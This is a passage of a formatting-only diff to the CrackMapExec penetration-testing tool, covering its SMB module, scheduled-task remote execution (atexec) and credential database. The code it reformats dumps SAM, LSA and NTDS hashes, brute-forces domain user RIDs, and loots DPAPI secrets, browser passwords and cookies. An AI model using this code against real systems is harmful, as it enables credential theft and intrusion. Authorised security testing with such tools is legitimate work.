rpc._create_wmi_connection(namespace=namespace) if wmi_query: - query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) + query = rpc._wmi_connection.ExecQuery( + wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY + ) else: - query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) + query = rpc._wmi_connection.ExecQuery( + self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY + ) except Exception as e: self.logger.fail(f"Error creating WMI connection: {e}") return records while True: try: - wmi_results = query.Next(0xffffffff, 1)[0] + wmi_results = query.Next(0xFFFFFFFF, 1)[0] record = wmi_results.getProperties() records.append(record) for k, v in record.items(): self.logger.highlight(f"{k} => {v['value']}") - self.logger.highlight('') + self.logger.highlight("") except Exception as e: if str(e).find("S_FALSE") < 0: raise e @@ -1256,7 +1630,17 @@ class smb(connection): return records - def spider(self, share=None, folder=".", pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, only_files=True): + def spider( + self, + share=None, + folder=".", + pattern=[], + regex=[], + exclude_dirs=[], + depth=None, + content=False, + only_files=True, + ): spider = SMBSpider(self.conn, self.logger) self.logger.display("Started spidering") @@ -1270,10 +1654,12 @@ class smb(connection): self.args.exclude_dirs, self.args.depth, self.args.content, - self.args.only_files + self.args.only_files, ) else: - spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files) + spider.spider( + share, folder, pattern, regex, exclude_dirs, depth, content, only_files + ) self.logger.display(f"Done spidering (Completed in {time() - start_time})") @@ -1287,12 +1673,14 @@ class smb(connection): KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False}, 139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True}, - 445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", 'set_host': True}, + 445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True}, } try: - full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain - string_binding = KNOWN_PROTOCOLS[self.args.port]['bindstr'] + full_hostname = ( + self.host if not self.kerberos else self.hostname + "." + self.domain + ) + string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"] logging.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.set_dport(self.args.port) @@ -1302,7 +1690,9 @@ class smb(connection): if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) + rpc_transport.set_credentials( + self.username, self.password, self.domain, self.lmhash, self.nthash + ) if self.kerberos: rpc_transport.set_kerberos(self.kerberos, self.kdcHost) @@ -1326,8 +1716,7 @@ class smb(connection): dce.bind(lsat.MSRPC_UUID_LSAT) try: resp = lsad.hLsarOpenPolicy2( - dce, - MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES + dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES ) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") @@ -1338,9 +1727,11 @@ class smb(connection): resp = lsad.hLsarQueryInformationPolicy2( dce, policy_handle, - lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation + lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, ) - domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() + domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"][ + "DomainSid" + ].formatCanonical() so_far = 0 simultaneous = 1000 @@ -1357,7 +1748,9 @@ class smb(connection): for i in range(so_far, so_far + sids_to_check): sids.append(domain_sid + "-%d" % i) try: - lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + lsat.hLsarLookupSids( + dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + ) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: so_far += simultaneous @@ -1370,22 +1763,28 @@ class smb(connection): for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n - domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] + domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]][ + "Name" + ] user = item["Name"] - sid_type = SID_NAME_USE.enumItems(item['Use']).name + sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") - entries.append({ - "rid": rid, - "domain": domain, - "username": user, - "sidtype": sid_type - }) + entries.append( + { + "rid": rid, + "domain": domain, + "username": user, + "sidtype": sid_type, + } + ) so_far += simultaneous dce.disconnect() return entries def put_file(self): - self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}") + self.logger.display( + f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}" + ) with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) @@ -1396,14 +1795,18 @@ class smb(connection): self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def get_file(self): - self.logger.display(f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}") + self.logger.display( + f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}" + ) file_handle = self.args.get_file[1] if self.args.append_host: file_handle = f"{self.hostname}-{self.args.get_file[1]}" with open(file_handle, "wb+") as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) - self.logger.success(f"File {self.args.get_file[0]} was transferred to {file_handle}") + self.logger.success( + f"File {self.args.get_file[0]} was transferred to {file_handle}" + ) except Exception as e: self.logger.fail(f"Error reading file {self.args.share}: {e}") @@ -1425,8 +1828,14 @@ class smb(connection): def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) - username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') - self.db.add_credential("hash", self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + self.db.add_credential( + "hash", + self.hostname, + username, + ":".join((lmhash, nthash)), + pillaged_from=host_id, + ) add_sam_hash.sam_hashes = 0 @@ -1436,12 +1845,15 @@ class smb(connection): SAM_file_name, self.bootkey, isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + self.logger.success( + f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database" + ) try: self.remote_ops.finish() @@ -1467,12 +1879,18 @@ class smb(connection): except Exception as e: self.logger.fail(str(e)) - if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: + if ( + self.pvkbytes is None + and self.no_da is None + and self.args.local_auth is False + ): try: results = self.db.get_domain_backupkey(self.domain) except: - self.logger.fail("Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option") + self.logger.fail( + "Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) return False if len(results) > 0: self.logger.success("Loading domain backupkey from cmedb...") @@ -1494,8 +1912,12 @@ class smb(connection): dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + self.logger.success( + "User is Domain Administrator, exporting domain backupkey..." + ) + backupkey_triage = BackupkeyTriage( + target=dc_target, conn=dc_conn + ) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 self.db.add_domain_backupkey(self.domain, self.pvkbytes) @@ -1526,34 +1948,31 @@ class smb(connection): return plaintexts = { - username: password for _, - _, - username, - password, - _, - _ in self.db.get_credentials(cred_type="plaintext") + username: password + for _, _, username, password, _, _ in self.db.get_credentials( + cred_type="plaintext" + ) } nthashes = { - username: nt.split(':')[1] if ':' in nt else nt for _, - _, username, - nt, - _, - _ in self.db.get_credentials(cred_type="hash") + username: nt.split(":")[1] if ":" in nt else nt + for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash") } - if self.password != '': + if self.password != "": plaintexts[self.username] = self.password - if self.nthash != '': + if self.nthash != "": nthashes[self.username] = self.nthash # Collect User and Machine masterkeys try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") + self.logger.display( + "Collecting User and Machine masterkeys, grab a coffee and be patient..." + ) masterkeys_triage = MasterkeysTriage( target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, - nthashes=nthashes + nthashes=nthashes, ) self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") masterkeys += masterkeys_triage.triage_masterkeys() @@ -1565,11 +1984,15 @@ class smb(connection): logging.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") + self.logger.success( + f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets..." + ) try: # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) + credentials_triage = CredentialsTriage( + target=target, conn=conn, masterkeys=masterkeys + ) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") credentials = credentials_triage.triage_credentials() self.logger.debug(f"Triaged Credentials: {credentials}") @@ -1588,7 +2011,7 @@ class smb(connection): credential.winuser, credential.username, credential.password, - credential.target + credential.target, ) for credential in system_credentials: self.logger.highlight( @@ -1600,14 +2023,18 @@ class smb(connection): "SYSTEM", credential.username, credential.password, - credential.target + credential.target, ) try: # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) + browser_triage = BrowserTriage( + target=target, conn=conn, masterkeys=masterkeys + ) + browser_credentials, cookies = browser_triage.triage_browsers( + gather_cookies=dump_cookies + ) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") for credential in browser_credentials: @@ -1621,7 +2048,7 @@ class smb(connection): credential.winuser, credential.username, credential.password, - credential.url + credential.url, ) if dump_cookies: @@ -1634,21 +2061,25 @@ class smb(connection): try: # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) + vaults_triage = VaultsTriage( + target=target, conn=conn, masterkeys=masterkeys + ) vaults = vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") for vault in vaults: if vault.type == "Internet Explorer": resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") + self.logger.highlight( + f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}" + ) self.db.add_dpapi_secrets( target.address, - 'IEX', + "IEX", vault.winuser, vault.username, vault.password, - vault.resource + vault.resource, ) try: @@ -1668,7 +2099,7 @@ class smb(connection): credential.winuser, credential.username, credential.password, - credential.url + credential.url, ) @requires_admin @@ -1698,7 +2129,7 @@ class smb(connection): self.bootkey, self.remote_ops, isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret) + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) self.logger.success("Dumping LSA secrets") LSA.dumpCachedHashes() @@ -1740,12 +2171,16 @@ class smb(connection): username, _, lmhash, nthash, _, _, _ = hash.split(":") parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): - self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) + self.db.add_credential( + "hash", domain, username, parsed_hash, pillaged_from=host_id + ) add_ntds_hash.added_to_db += 1 return raise except: - self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") + self.logger.debug( + "Dumped hash is not NTLM, not adding to db for now ;)" + ) else: self.logger.debug("Dumped hash is a computer account, not adding to db") @@ -1781,18 +2216,26 @@ class smb(connection): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, - perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id) + perSecretCallback=lambda secret_type, secret: add_ntds_hash( + secret, host_id + ), ) try: - self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + self.logger.success( + "Dumping the NTDS, this could take a while so go grab a redbull..." + ) NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" self.logger.success( f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database" ) - self.logger.display("To extract only enabled accounts from the output file, run the following command: ") - self.logger.display(f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1") + self.logger.display( + "To extract only enabled accounts from the output file, run the following command: " + ) + self.logger.display( + f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1" + ) self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: diff --git a/cme/protocols/smb/atexec.py b/cme/protocols/smb/atexec.py index 3b2c9c71..c97ea2f2 100755 --- a/cme/protocols/smb/atexec.py +++ b/cme/protocols/smb/atexec.py @@ -10,37 +10,56 @@ from cme.helpers.misc import gen_random_string from cme.logger import cme_logger from time import sleep + class TSCH_EXEC: - def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None): + def __init__( + self, + target, + share_name, + username, + password, + domain, + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + ): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__share_name = share_name - self.__lmhash = '' - self.__nthash = '' - self.__outputBuffer = b'' + self.__lmhash = "" + self.__nthash = "" + self.__outputBuffer = b"" self.__retOutput = False self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost if hashes is not None: - # This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' + self.__password = "" cme_logger.debug("test") - stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target + stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) - if hasattr(self.__rpctransport, 'set_credentials'): + if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) def execute(self, command, output=False): @@ -61,7 +80,6 @@ class TSCH_EXEC: self.doStuff(data) def gen_xml(self, command, tmpFileName, fileless=False): - xml = """ @@ -122,24 +140,25 @@ class TSCH_EXEC: return xml def doStuff(self, command, fileless=False): - dce = self.__rpctransport.get_dce_rpc() if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + # dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) - tmpFileName = tmpName + '.tmp' + tmpFileName = tmpName + ".tmp" xml = self.gen_xml(command, tmpFileName, fileless) logging.info(f"Task XML: {xml}") taskCreated = False logging.info(f"Creating task \\{tmpName}") - tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + tsch.hSchRpcRegisterTask( + dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE + ) taskCreated = True logging.info(f"Running task \\{tmpName}") @@ -159,24 +178,30 @@ class TSCH_EXEC: taskCreated = False if taskCreated is True: - tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + tsch.hSchRpcDelete(dce, "\\%s" % tmpName) if self.__retOutput: if fileless: while True: try: - with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output: + with open( + os.path.join("/tmp", "cme_hosted", tmpFileName), "r" + ) as output: self.output_callback(output.read()) break except IOError: sleep(2) else: - peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) + peer = ":".join( + map(str, self.__rpctransport.get_socket().getpeername()) + ) smbConnection = self.__rpctransport.get_smb_connection() while True: try: logging.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}") - smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback) + smbConnection.getFile( + "ADMIN$", f"Temp\\{tmpFileName}", self.output_callback + ) break except Exception as e: if str(e).find("SHARING") > 0: diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index f4b2259e..982e3ff2 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -6,7 +6,11 @@ from datetime import datetime from sqlalchemy import MetaData, func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.exc import SAWarning from sqlalchemy.orm import sessionmaker, scoped_session @@ -31,10 +35,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -42,7 +43,8 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, @@ -54,9 +56,11 @@ class database: "spooler" boolean, "zerologon" boolean, "petitpotam" boolean - )''') + )""" + ) # type = hash, plaintext - db_conn.execute('''CREATE TABLE "users" ( + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "domain" text, "username" text, @@ -64,31 +68,39 @@ class database: "credtype" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "groups" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "groups" ( "id" integer PRIMARY KEY, "domain" text, "name" text, "rid" text, "member_count_ad" integer, "last_query_time" text - )''') + )""" + ) # This table keeps track of which credential has admin access over which machine and vice-versa - db_conn.execute('''CREATE TABLE "admin_relations" ( + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "group_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "group_relations" ( "id" integer PRIMARY KEY, "userid" integer, "groupid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(groupid) REFERENCES groups(id) - )''') - db_conn.execute('''CREATE TABLE "shares" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "shares" ( "id" integer PRIMARY KEY, "hostid" text, "userid" integer, @@ -98,15 +110,19 @@ class database: "write" boolean, FOREIGN KEY(userid) REFERENCES users(id) UNIQUE(hostid, userid, name) - )''') - db_conn.execute('''CREATE TABLE "loggedin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "loggedin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "dpapi_secrets" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "dpapi_secrets" ( "id" integer PRIMARY KEY, "host" text, "dpapi_type" text, @@ -115,13 +131,16 @@ class database: "password" text, "url" text, UNIQUE(host, dpapi_type, windows_user, username, password, url) - )''') - db_conn.execute('''CREATE TABLE "dpapi_backupkey" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "dpapi_backupkey" ( "id" integer PRIMARY KEY, "domain" text, "pvk" text, UNIQUE(domain) - )''') + )""" + ) # db_conn.execute('''CREATE TABLE "ntds_dumps" ( # "id" integer PRIMARY KEY, # "hostid", integer, @@ -134,15 +153,33 @@ class database: def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) - self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine) - self.GroupsTable = Table("groups", self.metadata, autoload_with=self.db_engine) - self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine) - self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine) - self.GroupRelationsTable = Table("group_relations", self.metadata, autoload_with=self.db_engine) - self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine) - self.DpapiSecrets = Table("dpapi_secrets", self.metadata, autoload_with=self.db_engine) - self.DpapiBackupkey = Table("dpapi_backupkey", self.metadata, autoload_with=self.db_engine) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) + self.UsersTable = Table( + "users", self.metadata, autoload_with=self.db_engine + ) + self.GroupsTable = Table( + "groups", self.metadata, autoload_with=self.db_engine + ) + self.SharesTable = Table( + "shares", self.metadata, autoload_with=self.db_engine + ) + self.AdminRelationsTable = Table( + "admin_relations", self.metadata, autoload_with=self.db_engine + ) + self.GroupRelationsTable = Table( + "group_relations", self.metadata, autoload_with=self.db_engine + ) + self.LoggedinRelationsTable = Table( + "loggedin_relations", self.metadata, autoload_with=self.db_engine + ) + self.DpapiSecrets = Table( + "dpapi_secrets", self.metadata, autoload_with=self.db_engine + ) + self.DpapiBackupkey = Table( + "dpapi_backupkey", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" @@ -166,18 +203,27 @@ class database: self.conn.execute(table.delete()) # pull/545 - def add_host(self, ip, hostname, domain, os, smbv1, signing, spooler=None, zerologon=None, petitpotam=None, - dc=None): + def add_host( + self, + ip, + hostname, + domain, + os, + smbv1, + signing, + spooler=None, + zerologon=None, + petitpotam=None, + dc=None, + ): """ Check if this host has already been added to the database, if not, add it in. """ - domain = domain.split('.')[0] + domain = domain.split(".")[0] hosts = [] updated_ids = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() # create new host @@ -186,13 +232,13 @@ class database: "ip": ip, "hostname": hostname, "domain": domain, - "os": os if os is not None else '', + "os": os if os is not None else "", "dc": dc, "smbv1": smbv1, "signing": signing, "spooler": spooler, "zerologon": zerologon, - "petitpotam": petitpotam + "petitpotam": petitpotam, } hosts = [new_host] # update existing hosts data @@ -228,38 +274,37 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns + index_elements=self.HostsTable.primary_key, set_=update_columns ) - self.conn.execute( - q, - hosts - ) # .scalar() + self.conn.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids - def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None): + def add_credential( + self, credtype, domain, username, password, group_id=None, pillaged_from=None + ): """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0] + domain = domain.split(".")[0] credentials = [] groups = [] - if (group_id and not self.is_group_valid(group_id)) or \ - (pillaged_from and not self.is_host_valid(pillaged_from)): + if (group_id and not self.is_group_valid(group_id)) or ( + pillaged_from and not self.is_host_valid(pillaged_from) + ): cme_logger.debug(f"Invalid group or host") return q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -290,10 +335,7 @@ class database: cred_data["password"] = password if group_id is not None: cred_data["groupid"] = group_id - groups.append({ - "userid": cred_data["id"], - "groupid": group_id - }) + groups.append({"userid": cred_data["id"], "groupid": group_id}) if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed @@ -302,25 +344,20 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} + update_columns_users = { + col.name: col for col in q_users.excluded if col.name not in "id" + } q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, - set_=update_columns_users + index_elements=self.UsersTable.primary_key, set_=update_columns_users ) cme_logger.debug(f"Adding credentials: {credentials}") - self.conn.execute( - q_users, - credentials - ) # .scalar() + self.conn.execute(q_users, credentials) # .scalar() if groups: q_groups = Insert(self.GroupRelationsTable) - self.conn.execute( - q_groups, - groups - ) + self.conn.execute(q_groups, groups) # return user_ids def remove_credentials(self, creds_id): @@ -329,27 +366,23 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0] + domain = domain.split(".")[0] add_links = [] creds_q = select(self.UsersTable) if user_id: - creds_q = creds_q.filter( - self.UsersTable.c.id == user_id - ) + creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(creds_q) hosts = self.get_hosts(host) @@ -358,13 +391,10 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(admin_relations_select).all() @@ -374,10 +404,7 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: - self.conn.execute( - admin_relations_insert, - add_links - ) + self.conn.execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: @@ -398,14 +425,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -414,7 +437,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -425,15 +448,11 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.username).like(like_term) @@ -446,13 +465,13 @@ class database: return results def get_credential(self, cred_type, domain, username, password): - domain = domain.split('.')[0] + domain = domain.split(".")[0] q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, - self.UsersTable.c.credtype == cred_type + self.UsersTable.c.credtype == cred_type, ) results = self.conn.execute(q).first() return results.id @@ -475,9 +494,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -489,50 +506,34 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess 